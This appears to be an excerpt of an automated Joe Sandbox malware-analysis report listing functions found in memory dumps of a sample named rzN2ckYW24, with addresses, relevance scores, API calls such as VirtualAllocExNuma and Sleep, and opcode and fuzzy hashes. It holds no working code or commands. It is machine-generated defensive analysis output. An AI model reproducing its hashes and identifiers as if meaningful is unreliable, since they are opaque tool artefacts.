                                                                                                      Function 00E80A93 Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAllocExNuma.KERNELBASE(?,?,?,?,?,?), ref: 00E80B16
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocNumaVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4233825816-0
                                                                                                      • Opcode ID: 97d7ff969ed49e29a43d14a13a69b0900eb90585e963cdbce83403696c5a5a63
                                                                                                      • Instruction ID: ac4b4c3c45d8f67a037a1bbf0664a12d2be1457b9d4178993fbc2b476fd9072d
                                                                                                      • Opcode Fuzzy Hash: 97d7ff969ed49e29a43d14a13a69b0900eb90585e963cdbce83403696c5a5a63
                                                                                                      • Instruction Fuzzy Hash: 1E2164B29042489FCB10CFAAC885BDFBFF4EF49324F148419E559A7210D375A944CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E80558 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAllocExNuma.KERNELBASE(?,?,?,?,?,?), ref: 00E80B16
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocNumaVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4233825816-0
                                                                                                      • Opcode ID: 638ea936707486dfd8cc2c1ed35233adf75c6ce74fe65c24289a6aaaa33cda8b
                                                                                                      • Instruction ID: aed15dcd517007c285a3ae0f2e10104099024aeff0393b80896a5c4579449800
                                                                                                      • Opcode Fuzzy Hash: 638ea936707486dfd8cc2c1ed35233adf75c6ce74fe65c24289a6aaaa33cda8b
                                                                                                      • Instruction Fuzzy Hash: BC1112B19042489FCB50DF9AD884BDEBBF4EF89324F108429E519B7250D375A954CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E85810 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • RtlEncodePointer.NTDLL(00000000), ref: 00E8588A
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: EncodePointer
                                                                                                      • String ID:
                                                                                                      • API String ID: 2118026453-0
                                                                                                      • Opcode ID: 23f2d20a44a84865a002c27deadbef77f5e684137025db9a948e11dc46290361
                                                                                                      • Instruction ID: a350d3cc9921b55722f4d2f8c6e84d104ffdd1b14d81147e15ed2b17504257e0
                                                                                                      • Opcode Fuzzy Hash: 23f2d20a44a84865a002c27deadbef77f5e684137025db9a948e11dc46290361
                                                                                                      • Instruction Fuzzy Hash: B9119A76901309CFCB20DFA9E84879EBBF4EB49314F20842AD409B3641DB79A944CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E8054C Relevance: 1.3, APIs: 1, Instructions: 44sleepCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Sleep
                                                                                                      • String ID:
                                                                                                      • API String ID: 3472027048-0
                                                                                                      • Opcode ID: f58499b84d6c2480a3c2ee717de864bb2358e98e96da4151a1e88c11b40446e5
                                                                                                      • Instruction ID: b58f1cb731ff0622fcf9ef4ee11fa759e26fad20e0094ea4229a36ae00381ee0
                                                                                                      • Opcode Fuzzy Hash: f58499b84d6c2480a3c2ee717de864bb2358e98e96da4151a1e88c11b40446e5
                                                                                                      • Instruction Fuzzy Hash: 8C1112B19046498FCB10DF9AD885BDFFBF4EB48328F108469D929B7240D3B4A944CFA5
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E80B5A Relevance: 1.3, APIs: 1, Instructions: 44sleepCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Sleep
                                                                                                      • String ID:
                                                                                                      • API String ID: 3472027048-0
                                                                                                      • Opcode ID: b62445c8000aa7b356f2d3dce1b25e1be1bf088593ead8b3b3b66872027fb185
                                                                                                      • Instruction ID: 3f3d7c6c9310efb179816382f10881cdc2bbbc796f8cf91cf2a32db865b26367
                                                                                                      • Opcode Fuzzy Hash: b62445c8000aa7b356f2d3dce1b25e1be1bf088593ead8b3b3b66872027fb185
                                                                                                      • Instruction Fuzzy Hash: 171130B18042488FCB10DF9AD886BDFFBF4EB49328F108419D569B7200C3B4A948CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 06526F30 Relevance: .5, Instructions: 467COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.530232972.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_6520000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3b2cd5e0723e5aca17136558163809c731e19a65bbf81525a100a2d9188b0acd
                                                                                                      • Instruction ID: 9dee9f098173ebb43596aacba7aa74a05025dba51e2c2b9032f923117aac1300
                                                                                                      • Opcode Fuzzy Hash: 3b2cd5e0723e5aca17136558163809c731e19a65bbf81525a100a2d9188b0acd
                                                                                                      • Instruction Fuzzy Hash: 94126830A00221CFCB64EBA4D458A6EBBF2FF89355F14896DE4069B791EB759C45CF80
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 065277E0 Relevance: .3, Instructions: 278COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.530232972.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_6520000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c500fa7b205c44e4453bbc724a997957f0ee9064599bd21249ec4b8fac2583fd
                                                                                                      • Instruction ID: 4c4d9fc29777758a354c6fc1ddda740d0e7b42904fb05d982102bc5a022dc1ec
                                                                                                      • Opcode Fuzzy Hash: c500fa7b205c44e4453bbc724a997957f0ee9064599bd21249ec4b8fac2583fd
                                                                                                      • Instruction Fuzzy Hash: 40A13730F44215DFDB44EB60D848B6DBBA2BB89365F24CA25E5219B2E4EB309C158F50
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 06527618 Relevance: .1, Instructions: 93COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.530232972.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_6520000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0b13d31907a1213cfbcd663f9e8a1b213db2ad30fbf8fc8d679653e1c4d71861
                                                                                                      • Instruction ID: 0946dcf360c1a6e205909883f8ff2b69a2fc0a4f76c77d22e143a7184ff8e736
                                                                                                      • Opcode Fuzzy Hash: 0b13d31907a1213cfbcd663f9e8a1b213db2ad30fbf8fc8d679653e1c4d71861
                                                                                                      • Instruction Fuzzy Hash: 0331A231F40225CFDF90EBB988446AE7AE1AF8D244F148469D905EB390EB309D008BB5
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00A4D3EC Relevance: .1, Instructions: 75COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.519044203.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_a4d000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 8b8e774b258a9f3963a79ad8bec6fd72a7a8859bbc68bc4bc5c2492722b00202
                                                                                                      • Instruction ID: 318013ea3c0cc4c285471e7a71d0cb998ea0a1401de7e0f15c5dcbb1e06f7eec
                                                                                                      • Opcode Fuzzy Hash: 8b8e774b258a9f3963a79ad8bec6fd72a7a8859bbc68bc4bc5c2492722b00202
                                                                                                      • Instruction Fuzzy Hash: 772137B5504204EFCB01DF10D8C0B26BBA5FBD8324F24C5B9E9094B646C336E856C7B1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00A4D4D8 Relevance: .1, Instructions: 75COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.519044203.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_a4d000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 59980a5da646fd1097b4c60ce6bec78b5e225acb006b702ae5525e62e6ba1487
                                                                                                      • Instruction ID: 2fbd955ace768f31f269e7a3b99be432185d0b4e0790214b1cfebbf9b9a37888
                                                                                                      • Opcode Fuzzy Hash: 59980a5da646fd1097b4c60ce6bec78b5e225acb006b702ae5525e62e6ba1487
                                                                                                      • Instruction Fuzzy Hash: 1A2137B9504204DFCB01CF14D9C0B26BBB5FBD8328F24C5A9E9094B246C736D856CBA2
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00A4D3E7 Relevance: .1, Instructions: 56COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.519044203.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_a4d000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c9bac84a7fc1bbf5596c0c9cdfbfd886d18a72d0d2145727707f58b7b4c0f4b6
                                                                                                      • Instruction ID: 72443e4b2b57bf1712e03d4bc8e5e5f87a3bebde7eb371a4509a2d897da92fc4
                                                                                                      • Opcode Fuzzy Hash: c9bac84a7fc1bbf5596c0c9cdfbfd886d18a72d0d2145727707f58b7b4c0f4b6
                                                                                                      • Instruction Fuzzy Hash: 1D11B676504280DFCF15CF14D5C4B16BF72FB94324F24C6A9D8494B656C33AE856CBA2
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00A4D4D3 Relevance: .1, Instructions: 56COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.519044203.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_a4d000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c9bac84a7fc1bbf5596c0c9cdfbfd886d18a72d0d2145727707f58b7b4c0f4b6
                                                                                                      • Instruction ID: 0e21622aec7abe5a02e5da264f3059d41e9eb53992252f011f3b840d5c3f9080
                                                                                                      • Opcode Fuzzy Hash: c9bac84a7fc1bbf5596c0c9cdfbfd886d18a72d0d2145727707f58b7b4c0f4b6
                                                                                                      • Instruction Fuzzy Hash: 36119376504280DFCB15CF14D5C4B16BF71FB98324F2486A9D8454B656C33AD856CBA2
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 06525F30 Relevance: .1, Instructions: 52COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.530232972.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_6520000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: daa61fec7cfce03a556acae691ae1cf222400e377144fd69e21aea16a5c2d153
                                                                                                      • Instruction ID: 564d6c3c0614c1752ba69ee88b5a4fdcc1aca89fd5e8c801b7c52118f74c952e
                                                                                                      • Opcode Fuzzy Hash: daa61fec7cfce03a556acae691ae1cf222400e377144fd69e21aea16a5c2d153
                                                                                                      • Instruction Fuzzy Hash: A0117034F005158F8F90EB78E8489AE7BF1FF8C2157108469E50AD3341EF349D018BA0
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 06528FC0 Relevance: .0, Instructions: 33COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.530232972.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_6520000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e4c314645aee2e5139f1531bf7de9f7d47edd57521ce4ef7596f1f5fca4e8bfe
                                                                                                      • Instruction ID: 68cd940116a7fa8548a1e5a7f225320add84d6449c2fcdd8d35d4a670bd32bfc
                                                                                                      • Opcode Fuzzy Hash: e4c314645aee2e5139f1531bf7de9f7d47edd57521ce4ef7596f1f5fca4e8bfe
                                                                                                      • Instruction Fuzzy Hash: B1F08971F0012A9F8B80EBB9581469F7AE9EF89254B004476D405E7340FA34591187D1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%